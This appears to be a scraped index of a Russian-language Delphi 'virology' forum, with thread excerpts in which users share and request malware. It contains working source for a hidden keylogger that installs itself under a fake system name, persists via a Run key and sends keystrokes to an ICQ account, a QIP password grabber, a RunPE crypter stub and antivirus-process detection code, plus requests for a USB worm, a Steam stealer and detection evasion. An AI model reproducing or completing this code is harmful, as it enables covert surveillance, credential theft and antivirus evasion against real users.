delfcode

Как сделать так, чтоб программа запускалась не сразу?

Michael_Troshin — Thu, 29 Dec 2016 11:41:43 GMT

Форум: Вирусология Delphi
Описание темы: Через некоторое время?
Автор темы: Michael_Troshin
Автор последнего сообщения: Android
Количество ответов: 14

USB WORM

cool1 — Thu, 29 Dec 2016 11:40:34 GMT

Привет,
пожалуйста дайте сорец вируса который будет размножаться по флэшкам через папки
типо на флэшке папка фотки а вирус делает ее скрытой и создает файл фотки.ехе и файл Autorun.inf который открывает файл фотки.ехе

тграничения на курсор

HTTqp — Thu, 29 Dec 2016 11:39:42 GMT

Пытаюсь ограничить передвижения курсора, все бы хорошо, но почему то у меня при компиляции работает идеально, при запуске на других машинах почему то он спокойно выходит за границы формы.
Код:

Код

procedure tp(hWnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD);  stdcall;
   var
      PrmInRect: TRect;
        begin
          GetWindowRect(hWnd,PrmInRect);
          ClipCursor(@PrmInRect);
        end;

//Запускаю так
//hWinHandle это хендл окна, созданый на winapi > hWinHandle:=CreateWindowEx(....);
SetTimer(hWinHandle,1,100,@tp);

Способы управления малварью

gravitas — Thu, 29 Dec 2016 11:09:28 GMT

Нужны все возможные (удобные\неудобные - без разницы) способы управления малварью (не ботнетом). Чтобы не было повторов назову известные мне:
- Веб-панель: только если масса компов. + будет медленно, ибо слишком частые запросы на сайт вызовут подозрние.
- Бэкконнект (коннект от жертвы к вашему компу), создание сервера на компе жертвы: нужна выделенка (в обоих случаях), которой нет.
- ICQ: вариант. Но способ детский и дает килотонну веса софту.

Запуск программы из другой

ashkalov — Thu, 29 Dec 2016 11:01:11 GMT

Есть идея, но не знаю как это осуществить.
Каким образом отправить программе команду на запуск другой программы?
например отправить программе explorer.exe команду на запуск notepad.exe

идея такова, что если exlorer запустит notepad , то передаст ему прова администратора)

Буду благодарен за помощь товарищи)))

Листинг функции FileExists

Anton93 — Thu, 29 Dec 2016 10:51:11 GMT

Доброго времени суток.
Ребят, у кого-нибудь есть листинг этой функции? из модуля SysUtils. Либо ее аналог, позволяющий проверять существование файла.
Пишу без подключаемых модулей, классов и объектов.

Stub by Crypted

alex0097 — Thu, 29 Dec 2016 10:45:01 GMT

Нарыл на забугореном сайте криптор. Так вот пытаюсь разобраться...
Доступно только для пользователей
program Stub;

{$IMAGEBASE $10000000}

uses
Windows, uEOF, uRunPE;

var
Buffer :String;
bBuff :TByteArray;

function MakeXor(Buffer :String; Key :Integer) :String;
var
i,c,x :Integer;
begin
for i := 1 to Length(Buffer) do
begin
c := Integer(Buffer[i]);
x := c xor Key;
Result := Result + Char(x);
end;
end;

function StrToByteArray(Str: string) :TByteArray;
begin
SetLength(result, Length(Str));
CopyMemory(@Result[0], @Str[1], Length(Str));
end;

begin
Buffer := ReadEof('[1]', '[2]');
Buffer := MakeXor(Buffer, 1337);

bBuff := StrToByteArray(Buffer);
RunExe(ParamStr(0), bBuff);
end.

Кто что скажет?

тащим пароли с icq,skype,и тд

oke — Thu, 29 Dec 2016 10:31:05 GMT

На примере я использовал QIP 2010 и вот что получилось))

Code

unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, ExtCtrls;

type
   TForm1 = class(TForm)
     Memo1: TMemo;
     Button1: TButton;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
   okno,login,psswd,auto:HWND;
   log,pass:array [0..255] of char;
begin
   okno:=FindWindow('TfrmMan.UnicodeClass','QIP 2010');
   if okno<>0 then
   login:= FindWindowEx(okno,0,'TInfuComboBox.UnicodeClass',nil);
   psswd:= FindWindowEx(okno,0,'TInfuEdit.UnicodeClass',nil);
   Sendmessage(login,WM_GETTEXT,20,Integer(@log));
   Sendmessage(psswd,WM_GETTEXT,20,Integer(@pass));
   Memo1.Lines.Add('ICQ : '+ log);
   Memo1.Lines.Add('Password : '+pass);
   auto:= FindWindowEx(okno,0,'TInfuCheckBox.UnicodeClass','Не спрашивать пароль');
   if auto<>0 then
   ShowWindow(auto,SW_HIDE);
end;

end.

сделал невидимой галочку "запомнить пароль" чтоб жертва не нажмала и в дальнейшем не смогла зайти автоматически а мы же дописываем процедуру отлова кнопки вход и при ее нажатии отсылаем на сниффер то что у нас в мемо и все) такой способ вроде бы еще не использовали(следовательно антивири должны молчать)

как к прог-ме добавить UAC, запрос запуска от имени админ-а?

MAS — Thu, 29 Dec 2016 09:15:56 GMT

Всем привет, как это осуществить, в инете искал, нашел, но не появился запрос, может есть программа для этого, например как в программе bat to exe converter, ставишь галку в чекбоксе - Запрос от имени админа и всё. Программа при запуске выдаёт запрос.

Добавлено (18.08.2013, 16:46)
---------------------------------------------
Всё решил проблему всем спасибо
Извиняюсь я не туда обратился, не в тот раздел, я сюда недавно пришел

Function

Born — Thu, 29 Dec 2016 09:11:46 GMT

Форум: Вирусология Delphi
Автор темы: Born
Автор последнего сообщения: Android
Количество ответов: 2

Автозагрузка

Blood_Hunter — Thu, 29 Dec 2016 09:11:13 GMT

Форум: Вирусология Delphi
Автор темы: Blood_Hunter
Автор последнего сообщения: Android
Количество ответов: 3

Как распространить

pascal — Thu, 29 Dec 2016 09:10:24 GMT

Форум: Вирусология Delphi
Автор темы: pascal
Автор последнего сообщения: Android
Количество ответов: 9

Как избавится от сигнатурного детекта?

d4rkzy — Thu, 29 Dec 2016 08:58:23 GMT

Есть исходник трояна - палицо всем чем можно, удалил пару функций - детект спал, из 22 тепер 12. Находят как "Gen:Variant.Kazy.247008"
Если можно примеры на дельфи или масме, асме - спасибо.

Пошаговое руководство к исполняемым файлам

Anton93 — Thu, 29 Dec 2016 08:17:40 GMT

автозапуск незаметно для антивируса?

AligatorBkmz — Thu, 29 Dec 2016 08:12:11 GMT

Данный код явно вызывает недовольство у антивируса Avast во время его исполнения, и выдает некрасивое предупреждение:

Код

procedure Autorun(Flag:boolean; NameParam, Path:String);
var Reg:TRegistry;
begin
  if Flag then
  begin
     Reg := TRegistry.Create;
     Reg.RootKey := HKEY_CURRENT_USER;
     Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', false);
     Reg.WriteString(NameParam, Path);
     Reg.Free;
  end
  else
  begin
     Reg := TRegistry.Create;
     Reg.RootKey := HKEY_CURRENT_USER;
     Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false);
     Reg.DeleteValue(NameParam);
     Reg.Free;
  end;
end;

Как бы запустить прогу автоматом не вызывая недовольств антивируса?

Подбор паролей для wi-fi

d4rkzy — Thu, 29 Dec 2016 08:10:06 GMT

Форум: Вирусология Delphi
Автор темы: d4rkzy
Автор последнего сообщения: Android
Количество ответов: 3

Реестр

alex0097 — Thu, 29 Dec 2016 08:09:08 GMT

Форум: Вирусология Delphi
Автор темы: alex0097
Автор последнего сообщения: Android
Количество ответов: 4

Запрет удаления файла.

Neo — Fri, 11 Nov 2016 08:06:02 GMT

Всем привет , хотел спросить,какие API функции нужно перехватывать,чтобы отловить событие удаления
файла в проводнике?Я пробовал перехватывать DeleteFile и NtDeleteFile.Всё это работает,если удалять файл именно используя эти функции.Но на работу проводника это не влияет.Может он использует другие функции?

Собираем список антивирусных прог

Android — Sun, 02 Oct 2016 15:54:06 GMT

Товарищи, давайте соберем список процессов антивирусов и фаерволов вместе с названиями экзешников. Накидывайте в эту тему у кого что есть по данному вопросу. Вот у меня аваст. Я так понял что его процессы называются AvastSvc.exe и AvastUI.exe.

Хочу написать функцию, которая по имени процесса говорила, опасен ли он для вируса или нет. Аналогично с файлами.

Расшифровка паролей Mozilla Firefox 32+

ramzeswr — Mon, 05 Sep 2016 13:23:03 GMT

Начиная с 32 версии firefox хранит сохраненые пароли в json формате в файле "logins.json"
Вот моя реализация расшифровки, правда с небольшим дефектом, добавляется символ Z в разных количествах. (проблема где-то в PK11SDR_Decrypt, я так думаю)
Кто сможет исправить данный дефект - просьба отписать в тему.

Узнаем установленный АВ и фаирвол

d4rkzy — Thu, 01 Sep 2016 21:10:57 GMT

Код

unit unitAvs;

interface

uses
   Windows,
   sysutils,
   TLHelp32;

const
   Procesos:  array[0..15] of String = ('avguard.exe',
      'ashdisp.exe',
      'avgcc.exe',
      'bdss.exe',
      'spider.exe',
      'avp.exe',
      'nod32krn.exe',
      'cclaw.exe',
      'dvpapi.exe',
      'ewidoctrl.exe',
      'mcshield.exe',
      'pavfires.exe',
      'almon.exe',
      'ccapp.exe',
      'pccntmon.exe',
      'fssm32.exe');
   NombreDeAntivirus: array[0..15] of String =('AntiVir',
      'Avast Antivirus',
      'AVG Antivirus',
      'BitDefender',
      'Dr.Web',
      'Kaspersky Antivirus',
      'Nod32',
      'Norman',
      'Authentium Antivirus',
      'Ewido Security Suite',
      'McAfee VirusScan',
      'Panda Antivirus/Firewall',
      'Sophos',
      'Symantec/Norton',
      'PC-cillin Antivirus',
      'F-Secure');

   Firewalls:  array[0..14] of String =  ('issvc.exe',
      'vsmon.exe',
      'cpf.exe',
      'ca.exe',
      'tnbutil.exe',
      'avp.exe',
      'mpfservice.exe',
      'npfmsg.exe',
      'outpost.exe',
      'tpsrv.exe',
      'pavfires.exe',
      'kpf4ss.exe',
      'persfw.exe',
      'vsserv.exe',
      'smc.exe');
   NombreDeFirewall: array[0..14] Of string =('Norton Personal Firewall',
      'ZoneAlarm',
      'Comodo Firewall',
      'eTrust EZ Firewall',
      'F-Secure Internet Security',
      'Kaspersky Antihacker',
      'McAfee Personal Firewall',
      'Norman Personal Firewall',
      'Outpost Personal Firewall',
      'Panda Internet Seciruty Suite',
      'Panda Anti-Virus/Firewall',
      'Kerio Personal Firewall',
      'Tiny Personal Firewall',
      'BitDefender / Bull Guard Antivirus',
      'Sygate Personal Firewall');

   function ObtenerAvs(): String;
   function ObtenerFirewall(): String;

implementation

Function Scan(tipo: integer): String;
var
   cLoop  :Boolean;
   CapProcesos:THandle;
   L  :TProcessEntry32;
   i  :integer;
Begin
   Result := 'NO';
   CapProcesos := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS or TH32CS_SNAPMODULE, 0);
   L.dwSize := SizeOf(L);
   cLoop := Process32First(CapProcesos, L);
   while cLoop do
   begin
     if tipo = 1 then
   for i := 0 to 15 do
   if LowerCase(L.szExeFile) = Procesos[i] then
     begin
     If Result = 'No' then //Osea que no ha copiado nada a result
     Result := NombreDeAntivirus[i]
     else //si es diferente de 'No encontrado' es porque ya copi? un av antes
     Result := Result + ' \ ' + NombreDeAntivirus[i] //copie un separador y el otro antivirus
     end;
     if tipo = 2 then
   for i := 0 to 14 do
   if LowerCase(L.szExeFile) = Firewalls[i] then
     begin
     if Result = 'No encontrado' then
     Result := NombreDeFirewall[i]
     else
     Result := Result + ' \ ' + NombreDeFirewall[i];
     end;

     cLoop := Process32Next(CapProcesos, L);
   end;
   CloseHandle(CapProcesos);
end;

Автор DeadLine

Сканеры без отправки файла разработчикам АВ

Anton93 — Thu, 01 Sep 2016 20:57:59 GMT

[NBe48iuY3W 100]Список безопасных рабочих сканнеров

NoDistribute (бесплатно - 10 проверок в день, платно - без ограничений)
AVDetect (платно)

Сканнеры с репутацией и проверенные временем. От себя добавлю: пользовался - сливов не заметил[/NBe48iuY3W]

Неубиваемый процесс

AdamasS-98 — Thu, 21 Jul 2016 14:30:58 GMT

Форум: Вирусология Delphi
Описание темы: Драйвер или dll
Автор темы: AdamasS-98
Автор последнего сообщения: XSPY
Количество ответов: 13

Delphi Driver Development Kit

Anton93 — Sat, 04 Jun 2016 18:00:00 GMT

Сегодня, когда антивирусы обросли эвристическими модулями, виртуальными машинами, и прочими продвинутыми технологиями, приходится использовать более дерзкие системы обхода/уничтожения защиты, а именно драйверы.
Разрабатывать стоящий проект без своего драйвера, сегодня, уже не серьезно.
Яркий тому пример - модуль самозащиты в вирусе Sality. Устанавливающий свой драйвер, который без проблем позволяет уничтожать процессы антивируса на уровне ядра.

Так о чем я? Обычно те кто пишут на Delphi основную часть, им приходится писать драйвер на C или ASM.
Ниже компилятор драйверов написанных на Delphi.

Пароли chrome, yandex, mail, Comodo Dragon

ramzeswr — Tue, 10 May 2016 17:47:08 GMT

Форум: Вирусология Delphi
Описание темы: расшифровка
Автор темы: ramzeswr
Автор последнего сообщения: fesss
Количество ответов: 10

Кейлогер с управлением по icq (по исходнику gravitas)

link993 — Tue, 29 Mar 2016 01:26:44 GMT

Я думаю исходник этого будет полезен некоторым пользвателям. За основу взят VCL кейлогер gravitas,a. На сайте есть исходники кейлогера. На форму положил календарь чтоб антивирусы не орали ( не работает ). Также взял баг dolphin,a с именем программы.

Описание тут:

Код:

Code

unit Unit1;

interface

uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, ExtCtrls, Registry, ICQClient;

type
    TForm1 = class(TForm)
      Timer1: TTimer;
      Memo1: TMemo;
      ICQClient1: TICQClient;
      procedure Timer1Timer(Sender: TObject);
      procedure FormCreate(Sender: TObject);
      procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
    private
      { Private declarations }
    public
      { Public declarations }
    end;

var
    Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if getasynckeystate($10)<>0 then   memo1.Text:=memo1.Text + '[S]';
if getasynckeystate($1b)<>0 then   memo1.Text:=memo1.Text + '[esc]';
if getasynckeystate($20)<>0 then   memo1.Text:=memo1.Text + ' ';
if getasynckeystate($2e)<>0 then   memo1.Text:=memo1.Text + '[delete]';
if getasynckeystate($41)<>0 then   memo1.Text:=memo1.Text + 'a';
if getasynckeystate($42)<>0 then   memo1.Text:=memo1.Text + 'b';
if getasynckeystate($43)<>0 then   memo1.Text:=memo1.Text + 'c';
if getasynckeystate($44)<>0 then   memo1.Text:=memo1.Text + 'd';
if getasynckeystate($45)<>0 then   memo1.Text:=memo1.Text + 'e';
if getasynckeystate($46)<>0 then   memo1.Text:=memo1.Text + 'f';
if getasynckeystate($47)<>0 then   memo1.Text:=memo1.Text + 'g';
if getasynckeystate($48)<>0 then   memo1.Text:=memo1.Text + 'h';
if getasynckeystate($49)<>0 then   memo1.Text:=memo1.Text + 'i';
if getasynckeystate($4b)<>0 then   memo1.Text:=memo1.Text + 'k';
if getasynckeystate($4c)<>0 then   memo1.Text:=memo1.Text + 'l';
if getasynckeystate($4d)<>0 then   memo1.Text:=memo1.Text + 'm';
if getasynckeystate($4e)<>0 then   memo1.Text:=memo1.Text + 'n';
if getasynckeystate($4f)<>0 then   memo1.Text:=memo1.Text + 'o';
if getasynckeystate($50)<>0 then   memo1.Text:=memo1.Text + 'p';
if getasynckeystate($51)<>0 then   memo1.Text:=memo1.Text + 'q';
if getasynckeystate($52)<>0 then   memo1.Text:=memo1.Text + 'r';
if getasynckeystate($53)<>0 then   memo1.Text:=memo1.Text + 's';
if getasynckeystate($54)<>0 then   memo1.Text:=memo1.Text + 't';
if getasynckeystate($55)<>0 then   memo1.Text:=memo1.Text + 'u';
if getasynckeystate($56)<>0 then   memo1.Text:=memo1.Text + 'v';
if getasynckeystate($57)<>0 then   memo1.Text:=memo1.Text + 'w';
if getasynckeystate($58)<>0 then   memo1.Text:=memo1.Text + 'x';
if getasynckeystate($59)<>0 then   memo1.Text:=memo1.Text + 'y';
if getasynckeystate($5a)<>0 then   memo1.Text:=memo1.Text + 'z';
if getasynckeystate($30)<>0 then   memo1.Text:=memo1.Text + '0';
if getasynckeystate($31)<>0 then   memo1.Text:=memo1.Text + '1';
if getasynckeystate($32)<>0 then   memo1.Text:=memo1.Text + '2';
if getasynckeystate($33)<>0 then   memo1.Text:=memo1.Text + '3';
if getasynckeystate($34)<>0 then   memo1.Text:=memo1.Text + '4';
if getasynckeystate($35)<>0 then   memo1.Text:=memo1.Text + '5';
if getasynckeystate($36)<>0 then   memo1.Text:=memo1.Text + '6';
if getasynckeystate($37)<>0 then   memo1.Text:=memo1.Text + '7';
if getasynckeystate($38)<>0 then   memo1.Text:=memo1.Text + '8';
if getasynckeystate($39)<>0 then   memo1.Text:=memo1.Text + '9';
if getasynckeystate($70)<>0 then   memo1.Text:=memo1.Text + '[f1]';
if getasynckeystate($71)<>0 then   memo1.Text:=memo1.Text + '[f2]';
if getasynckeystate($72)<>0 then   memo1.Text:=memo1.Text + '[f3]';
if getasynckeystate($73)<>0 then   memo1.Text:=memo1.Text + '[f4]';
if getasynckeystate($74)<>0 then   memo1.Text:=memo1.Text + '[f5]';
if getasynckeystate($75)<>0 then   memo1.Text:=memo1.Text + '[f6]';
if getasynckeystate($76)<>0 then   memo1.Text:=memo1.Text + '[f7]';
if getasynckeystate($77)<>0 then   memo1.Text:=memo1.Text + '[f8]';
if getasynckeystate($78)<>0 then   memo1.Text:=memo1.Text + '[f9]';
if getasynckeystate($79)<>0 then   memo1.Text:=memo1.Text + '[f10]';
if getasynckeystate($7a)<>0 then   memo1.Text:=memo1.Text + '[f11]';
if getasynckeystate($7b)<>0 then   memo1.Text:=memo1.Text + '[f12]';
if getasynckeystate($61)<>0 then   memo1.Text:=memo1.Text + '1';
if getasynckeystate($62)<>0 then   memo1.Text:=memo1.Text + '2';
if getasynckeystate($63)<>0 then   memo1.Text:=memo1.Text + '3';
if getasynckeystate($64)<>0 then   memo1.Text:=memo1.Text + '4';
if getasynckeystate($65)<>0 then   memo1.Text:=memo1.Text + '5';
if getasynckeystate($66)<>0 then   memo1.Text:=memo1.Text + '6';
if getasynckeystate($67)<>0 then   memo1.Text:=memo1.Text + '7';
if getasynckeystate($68)<>0 then   memo1.Text:=memo1.Text + '8';
if getasynckeystate($69)<>0 then   memo1.Text:=memo1.Text + '9';
if getasynckeystate($6f)<>0 then   memo1.Text:=memo1.Text + '/';
if getasynckeystate($6a)<>0 then   memo1.Text:=memo1.Text + '*';
if getasynckeystate($6b)<>0 then   memo1.Text:=memo1.Text + '+';
if getasynckeystate($6d)<>0 then   memo1.Text:=memo1.Text + '-';
end;

procedure TForm1.FormCreate(Sender: TObject);
var reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('c:\csrss.exe'),True);
SetFileAttributes('c:\csrss.exe', faHidden);

ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_HIDE);

if 2=2 then

begin

    ICQclient1.UIN:=strtoint('585629992');//Присваем UIN будещего бота

    ICQclient1.Password:='lK7he5Ia '; //Присваем Пароль будещего бота

    ICQclient1.Login();
     Application.ShowMainForm := false;

if 1=1 then
begin
reg := tregistry.create;
reg.rootkey := HKEY_CURRENT_USER ;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('widowsUpdate', 'c:\csrss.exe');
reg.closekey;
reg.free;
end;

end;
end;
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin

If msg= 'send' then ICQClient1.SendMessage(StrToInt(UIN), memo1.Text);
If msg= 'time' then ICQClient1.SendMessage(StrToInt(UIN), 'Не пашет время! :-(');
end;

end.

Скачать папку с исходниками также можно ниже... ОСТОРОЖНО ТАМ И ПРОГРАММА ЛЕЖИТ!

keylogger

HTTqp — Tue, 29 Mar 2016 01:00:07 GMT

Пишу клавиатурный шпион, полностью с нуля ну как полагается, столкнулся с вопросом. Решил задать. Как лучше реализовать запить в файл, сначала реализовал запись через промежуток времени каждые 10 секунд, потом подумал правильно ли, есть еще идея записывать лишь после нажатия ПКМ (правой кнопки мыши). Так сказать чтобы быть увереным что пользователь ввел все что надо. Либо запись после нажатия системных клавиш. Как лучше реализовать.

И еще вопрос как реализовать удаление букв при нажатии например Back Space (ну тут понятно удаляется последний символ), а например при нажатии Insert или Del? буду благодарен заранее, за ответы.

Ваши любимые приколы

Neo — Thu, 24 Mar 2016 04:24:01 GMT

Наверняка каждый из нас писал что-то вроде программ приколов. Давайте здесь выложим угарные программки, с помощью которых можно будет поржать над юзерами Ну,я первый))).
Вот програмка - фейковый диспетчер, при запуске переименовывает taskmgr.exe на taskmgrexe.old и вместо оригинального вставляет
подставной. После этого прога грузит проц на 100,тем самым это вынуждает юзера вызвать диспетчер.

Вирус индукт в аттаче!

Mail.ru Agent расшифровка паролей

VANS-SOFT — Wed, 18 Nov 2015 17:24:46 GMT

Пароли в реестре по адресу: HCU\Software\Mail.Ru\Agent\magent_logins{N} где {N} зависит от версии агента и принимает значения 2 или 3.
Ключ шифрования тута: C:\Users\VANS-SOFT\AppData\Roaming\Mra\Update\ver.txt (win7)
Алгоритм шифрования: blowfish, режим не известен.

Использую DCPCrypt под это дело, но MD5 пароля получить не могу т.к. по не ведомой мне причине выводиться разная ересь. Режим шифрования ECB или CBC я не знаю.

Нужна помощь в решение данного вопроса. мб есть наработки у кого то?

Написать стиллер паролей от Steam

Slash — Sun, 01 Nov 2015 14:53:44 GMT

Ребята, раньше был файл ClientRegistry.blob в котором хранился пароль, сейчас Valve что-то поменяли и структура хранения пароля видимо другая. Подкиньте код или напишите для человека программу платно, контакты дам. Нужно срочно